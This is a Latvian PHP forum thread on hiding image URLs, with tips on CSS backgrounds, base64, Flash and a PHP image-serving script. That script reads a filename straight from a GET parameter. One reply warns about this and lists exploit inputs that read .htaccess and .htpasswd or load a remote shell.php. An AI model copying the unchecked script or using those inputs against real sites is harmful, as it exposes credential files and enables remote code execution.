Jump to content
php.lv forumi

hide img url


brachux

Recommended Posts

  • Replies 30
  • Created
  • Last Reply

Top Posters In This Topic

Mission impossible. Bet nu labi - daži varianti jau ir, domāti īpaši stulbiem useriem.

 

1) Ieliec to bildi nevis ar img tagu, bet kā DIVa backgroundu (uzraksti javascript funkciju, kas nosetto DIVam stilu, sakombineejot kopaa kaut kaadus stringus. Ja gribi mazliet viltīgāk, vari paspēlēties ar base64 encoding.

 

2) Uztaisi flash animāciju vai java appletu, kas māk ielādēt/parādīt bildi atkarībā no tā, kādas bildes ID tiek padots kā parametrs.

Link to comment
Share on other sites

Nu takš dari kā traukiem.lv:

<span class="gpic"><a href="/link.php"><div id="th" style="background:url('/picture.jpg') no-repeat center center;background-color:#fff;"/></div>Teksts zem bildes</a></span>

.gpic {
width:118px;
height:140px;
margin-right:6px;
text-align:center;
font-size:10px;
float:left;
}

.gpic #th {
width:118px;
height:118px;
border:1px solid #BCC5D6;
margin:0px;
padding:0px;
cursor:pointer;
}

Vēl ir variants bildi iebarot caur PHP. Tad tik tiešām īsto bildes atrašanās vietu zināsi tikai tu.

<?php
header("Content-type: image/jpeg");
$filename = 'pic.jpg';
header('Content-length: '.filesize($filename)); readfile($filename);
?>

Ja bildes ir vairākas, vari caur GET iebarot scriptam bildes nosaukumu, teiksim: /bilde.php?img=pic.jpg

Un pašā scriptā norādīsi ceļu uz bildi.

Link to comment
Share on other sites

  • 1 month later...

Orion7. Tā jau es var�“šu barot arī:

bilde.php?img=../.htaccsess

bilde.php?img=../.htpasswd

bilde.php?img=http://ljaunaalapa.com/shell.php

bilde.php?img=http://ljaunalapa.com/ljaunaiskods.php

Un ne tikai to :)

Edited by ok1
Link to comment
Share on other sites

jedzigakais variants ir izmantot specialos anti-leech skriptus, kas apgrūtina vienkāršu līčēšanu, + caur dažiem no tiem tuļiem var uzmest pa virsu ari watermarku :)varmēģināt skatīt iekš phpclasses.org/

Edited by 4e4en
Link to comment
Share on other sites

  • 2 weeks later...

atceries visu to kas netā var nispert ja ne pa teiso no tavas pages tad noteikti no keša failiem :)

tādēļ labāk meklē varinatus kā samazināt iespēju kā "nospert" tavas bildes

1) varinats - ieliec flashā piem padod flash failam kādu parametru kas norāda uz attēlu un šams šamo ielasa un parāda

2) trivāls gan bet sakriptē nosaukumu ar base_64() un tad atkriptē pie bldes nolasīšanas (protams šisi ir domāc img.php?+201394)

3) vari izmantot Orion7 ieteikto varinatu, bet datus apstrādājot un piemēram attēlu nosaukumus glabājot md5 te protams pastāv ok1 ieteiktās briesmas, bet tās arī var novērst datus labi apstrādājot

4) šis gan ir maz populārs, bet vari attēlus ar gd sadalīt pa maziem galabliņiem un ar css salikt kopā :)

Varinātus kā apmānīt useri ir daudzi, bet kurš ir labākāis nezin ne viens katram ir savi + un savi -

Link to comment
Share on other sites


×
×
  • Create New...